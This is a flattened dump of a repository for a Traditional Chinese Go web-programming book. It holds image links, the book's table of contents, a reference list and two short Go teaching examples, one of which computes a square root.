-------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/1.4.idea3.png -------------------------------------------------------------------------------- /images/1.4.idea4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/1.4.idea4.png -------------------------------------------------------------------------------- /images/1.4.idea5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/1.4.idea5.png -------------------------------------------------------------------------------- /images/1.4.liteide.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/1.4.liteide.png -------------------------------------------------------------------------------- /images/1.4.sublime1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/1.4.sublime1.png -------------------------------------------------------------------------------- /images/1.4.sublime2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/1.4.sublime2.png -------------------------------------------------------------------------------- /images/1.4.sublime3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/1.4.sublime3.png -------------------------------------------------------------------------------- /images/1.4.sublime4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/1.4.sublime4.png -------------------------------------------------------------------------------- /images/1.4.vim.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/1.4.vim.png -------------------------------------------------------------------------------- /images/13.1.flow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/13.1.flow.png -------------------------------------------------------------------------------- /images/13.1.gopath.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/13.1.gopath.png -------------------------------------------------------------------------------- /images/13.1.gopath2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/13.1.gopath2.png -------------------------------------------------------------------------------- /images/13.4.beego.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/13.4.beego.png -------------------------------------------------------------------------------- /images/14.1.bootstrap.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/14.1.bootstrap.png -------------------------------------------------------------------------------- /images/14.1.bootstrap2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/14.1.bootstrap2.png -------------------------------------------------------------------------------- /images/14.1.bootstrap3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/14.1.bootstrap3.png -------------------------------------------------------------------------------- /images/14.4.github.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/14.4.github.png -------------------------------------------------------------------------------- /images/14.4.github2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/14.4.github2.png -------------------------------------------------------------------------------- /images/14.4.github3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/14.4.github3.png -------------------------------------------------------------------------------- /images/14.6.pprof.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/14.6.pprof.png -------------------------------------------------------------------------------- /images/14.6.pprof2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/14.6.pprof2.png -------------------------------------------------------------------------------- /images/14.6.pprof3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/14.6.pprof3.png -------------------------------------------------------------------------------- /images/2.2.array.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/2.2.array.png -------------------------------------------------------------------------------- /images/2.2.basic.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/2.2.basic.png -------------------------------------------------------------------------------- /images/2.2.makenew.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/2.2.makenew.png -------------------------------------------------------------------------------- /images/2.2.slice.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/2.2.slice.png -------------------------------------------------------------------------------- /images/2.2.slice2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/2.2.slice2.png -------------------------------------------------------------------------------- /images/2.3.init.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/2.3.init.png -------------------------------------------------------------------------------- /images/2.4.student_struct.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/2.4.student_struct.png -------------------------------------------------------------------------------- /images/2.5.rect_func_without_receiver.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/2.5.rect_func_without_receiver.png -------------------------------------------------------------------------------- /images/2.5.shapes_func_with_receiver_cp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/2.5.shapes_func_with_receiver_cp.png -------------------------------------------------------------------------------- /images/2.5.shapes_func_without_receiver.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/2.5.shapes_func_without_receiver.png -------------------------------------------------------------------------------- /images/3.1.dns2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/3.1.dns2.png -------------------------------------------------------------------------------- /images/3.1.dns_hierachy.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/3.1.dns_hierachy.png -------------------------------------------------------------------------------- /images/3.1.dns_inquery.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/3.1.dns_inquery.png -------------------------------------------------------------------------------- /images/3.1.http.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/3.1.http.png -------------------------------------------------------------------------------- /images/3.1.httpPOST.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/3.1.httpPOST.png -------------------------------------------------------------------------------- /images/3.1.response.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/3.1.response.png -------------------------------------------------------------------------------- /images/3.1.web.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/3.1.web.png -------------------------------------------------------------------------------- /images/3.1.web2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/3.1.web2.png -------------------------------------------------------------------------------- /images/3.2.goweb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/3.2.goweb.png -------------------------------------------------------------------------------- /images/3.3.http.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/3.3.http.png -------------------------------------------------------------------------------- /images/3.3.illustrator.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/3.3.illustrator.png -------------------------------------------------------------------------------- /images/4.1.login.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/4.1.login.png -------------------------------------------------------------------------------- /images/4.1.slice.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/4.1.slice.png -------------------------------------------------------------------------------- /images/4.3.escape.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/4.3.escape.png -------------------------------------------------------------------------------- /images/4.4.token.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/4.4.token.png -------------------------------------------------------------------------------- /images/4.5.upload.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/4.5.upload.png -------------------------------------------------------------------------------- /images/4.5.upload2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/4.5.upload2.png -------------------------------------------------------------------------------- /images/5.6.mongodb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/5.6.mongodb.png -------------------------------------------------------------------------------- /images/6.1.cookie.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/6.1.cookie.png -------------------------------------------------------------------------------- /images/6.1.cookie2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/6.1.cookie2.png -------------------------------------------------------------------------------- /images/6.1.session.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/6.1.session.png -------------------------------------------------------------------------------- /images/6.4.cookie.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/6.4.cookie.png -------------------------------------------------------------------------------- /images/6.4.hijack.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/6.4.hijack.png -------------------------------------------------------------------------------- /images/6.4.hijacksuccess.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/6.4.hijacksuccess.png -------------------------------------------------------------------------------- /images/6.4.setcookie.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/6.4.setcookie.png -------------------------------------------------------------------------------- /images/7.4.template.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/7.4.template.png -------------------------------------------------------------------------------- /images/8.1.socket.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/8.1.socket.png -------------------------------------------------------------------------------- /images/8.2.websocket.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/8.2.websocket.png -------------------------------------------------------------------------------- /images/8.2.websocket2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/8.2.websocket2.png -------------------------------------------------------------------------------- /images/8.2.websocket3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/8.2.websocket3.png -------------------------------------------------------------------------------- /images/8.3.rest.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/8.3.rest.png -------------------------------------------------------------------------------- /images/8.3.rest2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/8.3.rest2.png -------------------------------------------------------------------------------- /images/8.3.rest3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/8.3.rest3.png -------------------------------------------------------------------------------- /images/8.4.rpc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/8.4.rpc.png -------------------------------------------------------------------------------- /images/9.1.csrf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/9.1.csrf.png -------------------------------------------------------------------------------- /images/alipay.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/alipay.png -------------------------------------------------------------------------------- /images/cover.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/cover.png -------------------------------------------------------------------------------- /images/ebook.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/ebook.jpg -------------------------------------------------------------------------------- /images/navi1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/navi1.png -------------------------------------------------------------------------------- /images/navi10.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/navi10.png -------------------------------------------------------------------------------- /images/navi11.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/navi11.png -------------------------------------------------------------------------------- /images/navi12.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/navi12.png -------------------------------------------------------------------------------- /images/navi13.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/navi13.png -------------------------------------------------------------------------------- /images/navi14.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/navi14.png -------------------------------------------------------------------------------- /images/navi2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/navi2.png -------------------------------------------------------------------------------- /images/navi3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/navi3.png -------------------------------------------------------------------------------- /images/navi4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/navi4.png -------------------------------------------------------------------------------- /images/navi5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/navi5.png -------------------------------------------------------------------------------- /images/navi6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/navi6.png -------------------------------------------------------------------------------- /images/navi7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/navi7.png -------------------------------------------------------------------------------- /images/navi8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/navi8.png -------------------------------------------------------------------------------- /images/navi9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/navi9.png -------------------------------------------------------------------------------- /images/polling.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doggy8088/build-web-application-with-golang-zhtw/6f78a19ff83725ed311e47c1306b56c5b1e6204d/images/polling.png -------------------------------------------------------------------------------- /preface.md: -------------------------------------------------------------------------------- 1 | # 目錄 2 | 3 | - 1.[Go 環境配置](01.0.md) 4 | - 1.1. [安裝 Go](01.1.md) 5 | - 1.2. [GOPATH 與工作空間](01.2.md) 6 | - 1.3. [Go 命令](01.3.md) 7 | - 1.4. [Go 開發工具](01.4.md) 8 | - 1.5. [小結](01.5.md) 9 | - 2.[Go 語言基礎](02.0.md) 10 | - 2.1. [你好,Go](02.1.md) 11 | - 2.2. [Go 基礎](02.2.md) 12 | - 2.3. [流程和函式](02.3.md) 13 | - 2.4. [struct](02.4.md) 14 | - 2.5. [物件導向](02.5.md) 15 | - 2.6. [interface](02.6.md) 16 | - 2.7. [併發](02.7.md) 17 | - 2.8. [小結](02.8.md) 18 | - 3.[Web 基礎](03.0.md) 19 | - 3.1 [web 工作方式](03.1.md) 20 | - 3.2 [Go 建立一個簡單的 web 服務](03.2.md) 21 | - 3.3 [Go 如何使得 web 工作](03.3.md) 22 | - 3.4 [Go 的 http 套件詳解](03.4.md) 23 | - 3.5 [小結](03.5.md) 24 | - 4.[表單](04.0.md) 25 | - 4.1 [處理表單的輸入](04.1.md) 26 | - 4.2 [驗證表單的輸入](04.2.md) 27 | - 4.3 [預防跨站指令碼](04.3.md) 28 | - 4.4 [防止多次提交表單](04.4.md) 29 | - 4.5 [處理檔案上傳](04.5.md) 30 | - 4.6 [小結](04.6.md) 31 | - 5.[存取資料庫](05.0.md) 32 | - 5.1 [database/sql 介面](05.1.md) 33 | - 5.2 [使用 MySQL 資料庫](05.2.md) 34 | - 5.3 [使用 SQLite 資料庫](05.3.md) 35 | - 5.4 [使用 PostgreSQL 資料庫](05.4.md) 36 | - 5.5 [使用 Beego orm 函式庫進行 ORM 開發](05.5.md) 37 | - 5.6 [NoSQL 資料庫操作](05.6.md) 38 | - 5.7 [小結](05.7.md) 39 | - 6. [session和資料儲存](06.0.md) 40 | - 6.1 [session 和 cookie](06.1.md) 41 | - 6.2 [Go 如何使用 session](06.2.md) 42 | - 6.3 [session 儲存](06.3.md) 43 | - 6.4 [預防 session 劫持](06.4.md) 44 | - 6.5 [小結](06.5.md) 45 | - 7.[文字檔案處理](07.0.md) 46 | - 7.1 [XML 處理](07.1.md) 47 | - 7.2 [JSON 處理](07.2.md) 48 | - 7.3 [正則處理](07.3.md) 49 | - 7.4 [範本處理](07.4.md) 50 | - 7.5 [檔案操作](07.5.md) 51 | - 7.6 [字串處理](07.6.md) 52 | - 7.7 [小結](07.7.md) 53 | - 8.[Web 服務](08.0.md) 54 | - 8.1 [Socket 程式設計](08.1.md) 55 | - 8.2 [WebSocket](08.2.md) 56 | - 8.3 [REST](08.3.md) 57 | - 8.4 [RPC](08.4.md) 58 | - 8.5 [小結](08.5.md) 59 | - 9.[安全與加密](09.0.md) 60 | - 9.1 [預防 CSRF 攻擊](09.1.md) 61 | - 9.2 [確保輸入過濾](09.2.md) 62 | - 9.3 [避免 XSS 攻擊](09.3.md) 63 | - 9.4 [避免 SQL 注入](09.4.md) 64 | - 9.5 [儲存密碼](09.5.md) 65 | - 9.6 [加密和解密資料](09.6.md) 66 | - 9.7 [小結](09.7.md) 67 | - 10.[國際化和本地化](10.0.md) 68 | - 10.1 [設定預設地區](10.1.md) 69 | - 10.2 [本地化資源](10.2.md) 70 | - 10.3 [國際化站點](10.3.md) 71 | - 10.4 [小結](10.4.md) 72 | - 11.[錯誤處理,除錯和測試](11.0.md) 73 | - 11.1 [錯誤處理](11.1.md) 74 | - 11.2 [使用 GDB 除錯](11.2.md) 75 | - 11.3 [Go 怎麼寫測試案例](11.3.md) 76 | - 11.4 [小結](11.4.md) 77 | - 12.[部署與維護](12.0.md) 78 | - 12.1 [應用日誌](12.1.md) 79 | - 12.2 [網站錯誤處理](12.2.md) 80 | - 12.3 [應用部署](12.3.md) 81 | - 12.4 [備份和還原](12.4.md) 82 | - 12.5 [小結](12.5.md) 83 | - 13.[如何設計一個 Web 框架](13.0.md)  84 | - 13.1 [專案規劃](13.1.md)  85 | - 13.2 [自訂路由器設計](13.2.md) 86 | - 13.3 [controller 設計](13.3.md) 87 | - 13.4 [日誌和配置設計](13.4.md) 88 | - 13.5 [實現部落格的增刪改](13.5.md) 89 | - 13.6 [小結](13.6.md)  90 | - 14.[擴充套件 Web 框架](14.0.md) 91 | - 14.1 [靜態檔案支援](14.1.md) 92 | - 14.2 [Session 支援](14.2.md) 93 | - 14.3 [表單支援](14.3.md) 94 | - 14.4 [使用者認證](14.4.md) 95 | - 14.5 [多語言支援](14.5.md) 96 | - 14.6 [pprof 支援](14.6.md) 97 | - 14.7 [小結](14.7.md) 98 | - 附錄 A [參考資料](ref.md) 99 | -------------------------------------------------------------------------------- /ref.md: -------------------------------------------------------------------------------- 1 | # 附錄 A 參考資料 2 | 3 | 這本書的內容基本上是我學習 Go 過程以及以前從事 Web 開發過程中的一些經驗總結,裡面部分內容參考了很多站點的內容,感謝這些站點的內容讓我能夠總結出來這本書,參考資料如下: 4 | 5 | 1. [golang blog](http://blog.golang.org) 6 | 2. [Russ Cox blog](http://research.swtch.com/) 7 | 3. [go book](http://go-book.appsp0t.com/) 8 | 4. [golangtutorials](http://golangtutorials.blogspot.com) 9 | 5. [軒脈刃 de 刀光劍影](http://www.cnblogs.com/yjf512/) 10 | 6. [Go 官網文件](http://golang.org/doc/) 11 | 7. [Network programming with Go](http://jan.newmarch.name/go/) 12 | 8. [setup-the-rails-application-for-internationalization](http://guides.rubyonrails.org/i18n.html#setup-the-rails-application-for-internationalization) 13 | 9. [The Cross-Site Scripting (XSS) FAQ](http://www.cgisecurity.com/xss-faq.html) 14 | 10. [Network programming with Go](http://jan.newmarch.name/go) 15 | 11. [RESTful](http://www.ruanyifeng.com/blog/2011/09/restful.html) 16 | -------------------------------------------------------------------------------- /src/1.2/main.go: -------------------------------------------------------------------------------- 1 | // 章節 1.2 2 | // $GOPATH/src/mathapp/main.go 3 | 4 | package main 5 | 6 | import ( 7 | "fmt" 8 | "mymath" 9 | ) 10 | 11 | func main() { 12 | fmt.Printf("Hello, world. Sqrt(2) = %v\n", mymath.Sqrt(2)) 13 | } 14 | -------------------------------------------------------------------------------- /src/1.2/sqrt.go: -------------------------------------------------------------------------------- 1 | // 章節 1.2 2 | // $GOPATH/src/mymath/sqrt.go 3 | package mymath 4 | 5 | func Sqrt(x float64) float64 { 6 | z := 0.0 7 | for i := 0; i < 1000; i++ { 8 | z -= (z*z - x) / (2 * x) 9 | } 10 | return z 11 | } 12 | --------------------------------------------------------------------------------